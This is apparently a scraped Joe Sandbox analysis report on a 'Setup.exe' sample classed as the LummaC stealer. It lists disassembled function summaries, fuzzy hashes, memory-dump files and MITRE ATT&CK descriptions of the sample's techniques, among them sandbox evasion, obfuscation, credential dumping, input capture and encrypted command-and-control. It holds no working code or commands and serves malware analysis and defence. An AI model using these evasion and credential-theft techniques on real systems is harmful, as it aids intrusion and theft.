Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-0
Opcode ID: 1b3ce589adf00e2255f08c6ffdefb2296089f0b270ce3cf34d57f640f87191f8
Instruction ID: e6b801b969f5e8c888234abdea7592b327ff198bdde33c24f3eb4967c247c47a
Opcode Fuzzy Hash: 1b3ce589adf00e2255f08c6ffdefb2296089f0b270ce3cf34d57f640f87191f8
Instruction Fuzzy Hash: BAF06872A0035897CB107B54EC4D75DBB5CFFA6716F4420A7E54192162C635CD46C7F2

Function 00B76D88 Relevance: 5.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00D2C7E4,?,?,00000000,?,00B76D6B,00000000,00000004,00B6D7CF,00B68B8C,00B6486F,BFD722F5), ref: 00B76D94
TlsGetValue.KERNEL32(00D2C7C8,?,?,00000000,?,00B76D6B,00000000,00000004,00B6D7CF,00B68B8C,00B6486F,BFD722F5), ref: 00B76DA8
LeaveCriticalSection.KERNEL32(00D2C7E4,?,?,00000000,?,00B76D6B,00000000,00000004,00B6D7CF,00B68B8C,00B6486F,BFD722F5), ref: 00B76DC2
LeaveCriticalSection.KERNEL32(00D2C7E4,?,?,00000000,?,00B76D6B,00000000,00000004,00B6D7CF,00B68B8C,00B6486F,BFD722F5), ref: 00B76DCD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: bf36ed5b965c28a96a8e098cd353d9e88187f024853911ed4918ab8e11bebe6d
Instruction ID: 6cd5ae2149db81f8ede3a54b4857d9bef0bd1b78f150092d6d375460b1d7f7ce
Opcode Fuzzy Hash: bf36ed5b965c28a96a8e098cd353d9e88187f024853911ed4918ab8e11bebe6d
Instruction Fuzzy Hash: 1AF0B4323119199FCB215F15DC88A5AFBB8FF04761305D4B6E91A97191DB32EC098E91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Setup.exe

Function 014609A9 Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Function 00BE7B56 Relevance: 6.1, APIs: 3, Instructions: 1610
librarymemoryloaderCOMMON

Function 00BE7E9B Relevance: 5.9, APIs: 3, Instructions: 1396
librarymemoryloaderCOMMON

Function 01460299 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Function 00BE813E Relevance: 4.2, APIs: 2, Instructions: 1218
librarymemoryloaderCOMMON

Function 01460859 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 00B88C49 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373
stringCOMMON

Function 00B89183 Relevance: 64.8, APIs: 43, Instructions: 295
COMMON

Function 00B769BA Relevance: 15.1, APIs: 10, Instructions: 111
memoryCOMMONLIBRARYCODE

Function 00B86133 Relevance: 12.0, APIs: 8, Instructions: 34
COMMON

Function 00BE5359 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38
COMMON

Function 00B8873A Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Function 014ACCD7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 014AB929 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Function 00B76CCA Relevance: 1.5, APIs: 1, Instructions: 44
COMMONLIBRARYCODE